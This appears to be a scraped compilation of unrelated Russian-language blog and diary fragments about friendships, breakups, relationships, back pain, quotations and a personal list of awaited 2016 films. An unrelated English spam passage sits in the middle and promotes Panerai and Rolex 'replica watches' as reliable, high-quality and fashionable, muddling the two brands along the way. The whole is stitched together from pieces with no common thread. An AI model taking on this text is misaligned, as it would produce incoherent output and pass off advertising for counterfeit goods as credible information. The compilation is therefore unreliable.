Януш Леон Вишневский "Приток крови"

Сейчас вспомнила слова подруги: "Не становись черствой, не переставай верить в людей. Кто-то предает, и становится больно, но также ты закрываешь и от хороших людей". И знаете, она права. Я правда закрываюсь, перестаю верить. Мне написала девочка с которой мы езидили вместе в инфотур в Египет, позвала сегодня погулять. А я думаю "Интересно, что она хочет у меня попросить… Ведь не может же она просто так мне написать". И даже осознавая свою недоверчивость к людям, я не перестаю сомневаться. Мне так хочется, наивно как в детстве, общаться с человеком не заискивая его мотивов. Мне надо многое в себе перебороть. И если я выиграю себя саму в этой войне, я начну жить счастливо.
А еще знаете как необычайно волнительно подниматься с парнем, который нравится, в лифте, и чувствовать как вся дрожишь, а грудь вздымается от учащенного дыхания. Вот так и живем.

Вчера ушла на больничный и, если честно, я думала, что все будет как всегда: я болею - ему нет дела. Но не тут-то было. Вчера пришел после учебы, принес вкусняшек. Сказал, что очень сильно скучает и сказал быстрее поправляться. Неужели он и вправду меняется? неужели больше не будет расставаний не из-за чего?

Такая маленькая, а уже зачеркиваешь какое то прошлое.

— О, малыш. Я буду любить тебя до скончания веков.

Lana Del Rey – Blue Jeans

ты зачем в него плюнула?
- это воздушный поцелуй.

https://m.ask.fm/SimAleksandra

Странно осознавать, что в следующем ноябре я не пойду в кино на Голодные игры.

Когда любишь кого то, ты его любишь, и, если ничего больше не можешь ему дать, ты все таки даешь ему любовь. Д. Оруэлл

Явление Христа в народ:

-Привет.

-Привет.

-Как дела? Ещё в постели?

-Всё хорошо, а у тебя? Да.

-Нормально, в колледж собираюсь за документами. Какие планы на день? Поедешь по делам?

-Ммм.. Думаю, отключить телефон и пойти куда-нибудь тусоваться до ночи. Как тебе?, - стерва Даша активизировалась.

-Не очень… Ты так говоришь, как будто я специально отключил телефон.

Ты лучше голодай, чем что попало есть,
И лучше будь один, чем вместе с кем попало.
Омар Хайям

У моей лучшей подруги уже 4 месяца отношения. За это время мы всего лишь один раз на осенних каникулах встретились вне школы, да и то всё закончилось не очень хорошо. В том смысле, что она забыла написать своему парню о том, что вместо дневного сеанса мы решили пойти в кино на вечерний, началась истерика. Ну и ладно, сейчас-то всё нормально. Договорились в среду пойти в кино на "Голодные игры", до последнего меня игнорировали, а потом списались из-за семейного ужина. Ещё много всяких нюансов, но я подумала, что она мне врёт, потому как хотела провести время со своим единственным. Я ошибалась. Устроила серьёзный разговор. Никогда не ставила выбор между мной и ним, не закатывала истерик, мол, внимания ты мне мало уделяешь, вследствие чего негодовала: за что я заслужила враньё? Подруга меня обняла, а я расплакалась. А всё потому, что моя 18-летняя подруга, уехавшая учиться в соседний город, с которой мы с самых пелёнок вместе, закатила на ровном месте скандал, написав, что жалеет о нашей дружбе. Думала, как обычно, попсихует и успокоится, но нет. Уже почти три месяца я у неё везде в чёрном списке. И только недавно я почувствовала всю боль тех слов. Она ведь моя родственная душа. Больше ни с кем я не буду смеяться с того, как Басков падает со стула или поскальзывается на платье Маши Семкиной; больше не будем смеяться с видео "Я окружён идиотами" и "Чо надо, розовый?"; больше не будем в истерике с неудачных фото Киркорова и картинки "Зина, ну ёб твою мать!". А сейчас же у Филиппа вышел новый клип "Индиго". Смеялась над ним минут десять, а потом вспомнила, как бы с Ирой всё это было, час рыдала. Нашла кулон, который делится на два равных кусочка сердца, один у меня, второй у неё. Стояла посреди ночи над мусорным ведром и ревела, т.к. не хватает смелости выбросить, а один раз удалось, но я всё тут же достала обратно. А из-за вчерашнего разговора с Аней, а происходил он в коридоре перед уроком классной руководительницы, а я расплакалась, разревелась, у меня началась истерика. Несколько минут посидела на уроке, потом попросилась выйти, т.к. всё равно литературу математикой заменили. Моя классная за мной. Отводит меня к подоконнику, кладёт руку на плечо, спрашивает. Отрицаю всё до последнего, позже решила соврать, будто больно ударилась, а мне в ответ: "Не ври мне! Ты просто так слёзы не льёшь, ты не Лизка, ты такая же, как я, плачешь тогда, когда душа болит. Говори, ты же знаешь, что я никому не скажу, легче станет". Всё равно ничего не сказала, а она меня очень крепко обняла, моя голова оказалась на уровне её груди, т.к. она выше меня не слабо, гладила меня по волосам, говоря: "Дурында ты моя". Также сказала, что обожает меня. И я люблю её до чёртиков. Сегодня снова пыталась выяснить то, из-за чего у меня случилась истерика, я не сказала, а мне немного обиженно: "Вот ты мне не хочешь ничего говорить, теперь и я буду мучить тебя!". А в душе, тем временем, огромная сквозная дыра, которая периодически заменяется невероятной свинцовой тяжестью в груди.

я легкими чувствую эту боль, что мирно лежит меж нами.

как поживает твоё ядовитое жало, что успел в мою душу вонзить?

День 49: Вы доброжелатель или боец? (Или: Вы решаете конфликты тихим путём или лезете на рожон?)
Когда как, но ближе первое. Потому что боец из меня никудышный) Да и с конфликтами стараюсь себя не навязывать, и так проблем хватает)

хочу любви и романтики, романтики и любви. просто хочу так согреться этой зимой.

а пока что меня только оперативка жарит.

сейчас потрудоголю,
потом поалкоголю

А больше всего в универе бесит то, что весь семестр мы львиную долю своего времени тратили на помощь кафедре в аккредитации. На условии, что за это нам помогут с курсовыми и экзаменами. Потому что времени ещё и на это не хватало. В итоге свою часть дел мы сделали, а в помощи нам практически отказывают. Преподаватели ставят глаза и смотрят на нас как на дур. Господи, мы чисто физически не могли успеть сделать ВСЕ. Благодаря нашей помощи вуз прошёл аккредитацию, но всем на это наплевать.

Вот бы ты уволился и свалил из города. А лучше страны. Я устала.

это дерьмо, в котором я сейчас, в самом начале подкосило меня настолько, что я первый раз услышала от мамы "я думала, ты сильнее". в этой жутко неприятной ситуации выплывать мне помогают она и еще 2 человека. спасибоспасибоспасибо, что вы есть.

В моей жизни есть один человек. Мой друг. А если еще точнее, то подруга. Мы знакомы уже довольно давно и за это время очень много ссорились. Иногда это были мелкие споры, которые решались тут же, иногда мы не общались месяц, два, пол года. Я не знаю, почему это происходит, возможно, из-за того, что слишком по-разному мы воспринимаем понятие "дружба". То, что для неё в порядке вещей, для меня вовсе недопустимо. Мне очень тяжело закрывать глаза на какие-то моменты, до боли тяжело, но я стараюсь. А теперь, после всего, что у нас произошло, доверять не могу. Хочу, правда. И считаю её безусловно одним из близких людей. Но. Если мы собираемся в кино я не покупаю билеты заранее, боюсь, что она откажется от встречи, как бывало не раз. Когда звоню ей или пишу, то первая мысль о том, что она может не ответить и исчезнуть на неопределённый срок, это тоже нормально. Если мы договариваемся пойти куда-то, то заранее придумываю чем займусь в случае чего. Я знаю, что это неправильно. И понимаю, что иногда могу вспылить, как это случилось сегодня ночью. Самое ужасное то, что никогда не знаешь, на самом ли деле у неё случилось что-то, или она просто не хочет именно мне отвечать. И мне страшно, что когда-нибудь я обижу её своими словами, а окажется, что не было причины. Я просто не знаю, что мне делать.

Хочется сдохнуть от боли в спине в области легких. Очень больно даже просто шевелиться, я уж не говорю про наклониться. И если опустить подбородок к груди - боль дикая. Это что, остеохондроз, серьезно? Кто-нибудь в курсе, может

"Если Бог важен для тебя - ты найдешь путь пребывать в общении с Ним, если нет - найдешь оправдания. Никакая проблема или нужда не должна стоять первыше твоих отношений с Папой. "

я так нервничаю. вчера лежала и думала " что я творю?". я же не на месяц уезжаю. и как-будто начинаю понимать это только сейчас. конечно все может не задаться и я вернусь раньше.но нужно сделать все чтоб остаться там надольше. но я так боюсь. мне кажется я немного не понимаю что меня ждет.блин, вот это перемены в жизни.

Изначально не хотела нынешних отношений с парнем. Я вообще не хотела тогда отношений, хотела привычную легкость. Но он делал все возможное чтобы эти отношения существовали, но я вела себя так скажем пофигистически. Но прошло где-то пол года наших отношений, как я стала проявлять чувства. Ещё через пол года мне казалось что я стала более инициативна в чем-либо, чем он. А он в то же время стал наглее. Если же тогда он выполнял все мои прихоти, но сейчас…сейчас он может и голос повысить и возникать. Сам так приучил, а теперь я не могу от этого отвыкнуть. Это то же самое, что ребёнку покупать киндеры каждый день, а потом перестать это делать. Ребёнок не поймёт что произошло, почему это перестало быть.Раньше он настаивал на чем-то, несмотря на то, что я была против. Приезжал, когда я не хотела и ждал в подъезде, мог больше часа простоять и ждать. Сейчас на мои отказы, соглашается с этим. Ну так, значит так. А я иногда отказываю, чтобы увидеть в нем действия, а не просто слова. Сказал и сделал, несмотря на мои противоречия.Хочется действий как раньше, настойчивости. Ведь в этом все мужчины. Надоело что все не так как раньше! Видимо у парней действительно так, думает что добился и все на этом. А нет, мы можем в любое время исчезнуть, а тем более я такой человек. Наверно это я во всем виновата сама.

Он приходил с цветами, стихами и слезами. Просил вернуться и говорил, что любит. Я никогда не чувствовала себя такой тварью, но я только сейчас поняла, что нет смысла сходиться..мне очень жаль, господи

Утренние мысли 'Выйти замуж 'по залёту' было одним из моих страхов. Это не значит, что сейчас я не буду переживать на эту тему, мы во многих отношениях не готовы к детям, надо еще сначала кота воспитать. Но теперь, если вдруг будет возможность беременности - меня уже не будет трясти, как раньше.' Дневные мысли Кот лежит у меня на коленях и сопит в ладошку. Уезжает на два дня. Я думаю, что не буду скучать, а сама растекусь сегодня же вечером и буду ныть лонли дэй. А у меня на выходных в планах 2 курсача. Это просто нереально. Привет, выходные, привет 'итс э лонлиэст дэй оф май лааааааайф' 27.11.2015

Всем привет!))

Вчера услышала мнение других обо мне. И я так рада, что я являюсь именно тем человеком, у которого свое мнение о себе совпадает с мнениями окружающих. То есть вижу себя объективно)) И плюс ко всему, тот идеал кем я хотела быть - на данный момент и есть я) мега приятно))

По поводу отношений.. ну мы живем отдельно..недели три наверно уже.. и вроде все нормализовалось, а бывают такие ссоры, что просто жесть. Я ситуацию отпустила, как идет так идет. и в этом есть плюс! Вылазиет абсолютно все! все проблемы, все претензии, настоящее отношение друг к другу. Что понимаю точно - я ему нереально много боли приношу.

и кстати, как думаете, сильно стремно, что встречаясь с парнем три года у меня название блога совместными инициалами с Ильей? мне кажется капец стремно)) надо переименоваться) ) но так название нравится.. эх)

In recent years, an increasing number of individuals begin to embrace the existence of replica watches. In the past, replica watches might be associated with negative words like rubbish or unreliable, while replica watches these days are well received by fashionistas in the world. Without any exaggeration, buying replica watches is one of the fashion trends in this day and age. Almost every brand of replica watches can be found the online shops. It’s hard to say which replica watches are most worthwhile to buy after all different strokes for different folks. However, what can be sure is that Panerai replica watches enjoy a great deal of popularity and they are very sought-after in the crowd.

Generally speaking, people choose rolex replica watches surely because they are fond of some features of Panerai replica. The recognizable shapes and designs of Panerai replica watches can easily make an impression in the crowd. This is one of the reasons why people prefer to wear Panerai replica watches. The designs of Panerai replica watches are usually simple. For individuals who are not professional or don’t like intricate watches, Panerai replica watches unsurprisingly become popular choices. In accordance with decorative use, Panerai replica watches surely are preferred choices. Panerai replica watches in online shops give buyers sufficient designs and styles to opt for.

Different collections of Panerai replica watches are designed for different individuals. From ordinary water-resistant watch to professional chronographs, Panerai replica watches are able to satisfy different people’s requirements. Panerai replica watches are of excellent performance and reliable quality. Surely people will pay attention to quality of replica watches when they buy replica watches online. As we all know, genuine Panerai watches have glorious history in watchmaking. As perfect alternatives of the expensive original watches, Panerai replica watches are equally functional and credible. Crafted with high quality materials and fitted with best movements, replica Panerai watches also can be wearable and highly accurate.

Список чисто субъективный.

Batman v Superman :Dawn of Justice.

Бэтмен против Супермена: на заре справедливости.

Ох, уж этот Бен Аффлек. Вернувшись с нашумевшей "Исчезнувшей" и весь 2015 не сходя с таблоидов ввиду развода с Дженнифер Гарнер - Бен не давал мне покоя. День ото дня я ждала выхода трейлера с новым Бетменом и до дыр засматривала малопонятный тизер на ютьюбе (Да простит меня Бейл). Не знаю почему, но Аффлека я люблю. Даже в самых его провальных ролях. Люблю даже всеми ненавистного "Сорвиголову" 2003 г. Смотрела и не раз, причем уже в сознательном возрасте. Так что: Жду - жду - жду.

24 марта 2016 г.

The Revenant.

Выживший.

Тут даже лишних слов не нужно. Тандем в виде Ди Каприо и Харди - это просто…ммммм. В сети уже идёт ажиотаж об очередном Оскаре, который ДиКаприо не получит (или получит, кто его знает) Но мне Оскар не важен (вру), самое главное в том, что все фильмы с ДиКаприо можно пересматривать на несколько раз, а Харди так удачно получается играть всяких подонков, так что надеюсь этот фильм не станет исключением.

7 января 2016 г.

Deadpool.

Дедпул.

Депула не ждет разве что….а я даже не знаю, кто его не ждет. Я сейчас имею ввиду именно тех, кто таки засматривается фильмами и старается не пропускать громких премьер. Есть у меня такая дурацкая черта: смотреть списки фильмов с актерами, которым я симпатизирую я переживать из-за того, что тот или иной перестал сниматься или играет в разном шлаке. Иногда я даже переживаю: если им на что жить :DТак кстати было с Полом Радом, который как вы знаете сейчас уже не Майк из "Друзей", а именно так его всегда и помнила, а "Человек-муравей". Так что, увидев Райана Рейнольдса в этой роли моей радости не было предела.

11 февраля 2016 г.

Zoolander 2.

Образцовый самец 2.

Как же в этом списке, да без Бена Стиллера. Стебная комедия с трансом Кэмбербэтчем, который уже кстати нарвался на критику ЛГБТ сообщества ("А у тебя там что: хотдог или булочка?") и Пенелопой Крус это что-то. Не исключаю, что будет тупо и не смешно, но надеюсь на лучшее. Чего и всем желаю, ибо возвышенные ожидания к фильмам чаще всего оставляют горький осадочек после просмотра.

18 февраля 2016 г.

X-Men: Apocalypse.

Люди Икс: Апокалипсис.

Джеймс МакЭвой в недавнем интервью сказал, что эта часть людей Икс самая масштабная из всех, которые они снимали. Я ему верю. Да что там верю. Я пищу, и визжу, и жду. Немного утрированно, конечно. Если серьезно, то люди Икс из года в год становятся качественней и интересней, нууу и не исключаем тот факт, что там мой любимый Николасик Холтик :)

19 мая 2016 г.

By the Sea.

Лазурный берег.

Тут всё просто. Не являюсь поклонницей Джоли, но посмотрев трейлер берега что-то внутри меня ёкнуло. Особенно из-за музыки, возможно из-за красоты той самой. Один из плюсов (или уж минусов - это вам судить) последних фильмов с Джоли, таких как Турист, Малефисента и Солт, в том, что их снимают будто бы под нее. Ракурсы, диалоги, наряды. Напомнило в одной из рецензий на кинопоиске: "Фильм с Джоли как Простоквашино - пока не заканчиваем снимать, у нее еще одно платье осталось!"

Хотя я отвлеклась. Посмотреть разговорную драму об отношениях очень уж хочется, критики уже вещают, что затянуто и скучно, но я верю, что проникнусь этой историей.

The Secret Life of Pets.

Тайная жизнь домашних животных.

А это то самое мимими) Сам трейлер выглядит как няшная короткометражка. На самом же деле есть вполне милый сюжет о терьере Максе и новом питомце его хозяина дворняжке Дюке, а еще там есть кролик, заговор, армия брошенных животных и надеюсь много ЮМОРА.

18 августа 2016 г.

Bridget Jones's Baby.

Ребенок Бриджет Джонс.

Ох, как же я благодарна создателям фильма, которые отошли от сюжета третьей книги о Бриджет! Отсутствие ли идей, жажда ли наживы сподвигла Хелен Филдинг убить в третьей части Марка Дарси. Того самого Марка, ради которого и строился весь сюжет. Того самого, который любил нашу дурашку Бриджет, такой какая она есть. Благо в фильме не будет всей этой чепухи и мы увидим новый этап в жизни Бриджет Джонс и Марка Дарси.

29 сентября 2016 г.

Jack Reacher: Never Go Back.

Джек Ричер: никогда не возвращайся.

Можно сколько угодно говорить о том, что Том Круз какой-то неприятный, не притягательный, есть в нем что-то в нем отталкивающее. Но факт остается фактом - фильмы с Томом Крузом качественны, динамичны и интересны. Он дал нам в очередной раз убедиться в этом в 2014-2015 году, надуюсь убедит и в 2016. Тем более, что первая часть Джека Ричера мне очень понравилась. (Пы.Сы. А еще там будет Робин Щербацки - Коби Смолдерс)

20 октября 2016 г.

Пы.Сы. Наверное это будет первой частью, т.к. я хотела написать еще о нескольких фильмах, а главное о новых сезонах сериалов, которые я очень жду, а пост уже итак очень длинный.

Пы.Пы.Сы. На работе просто адовое безделье.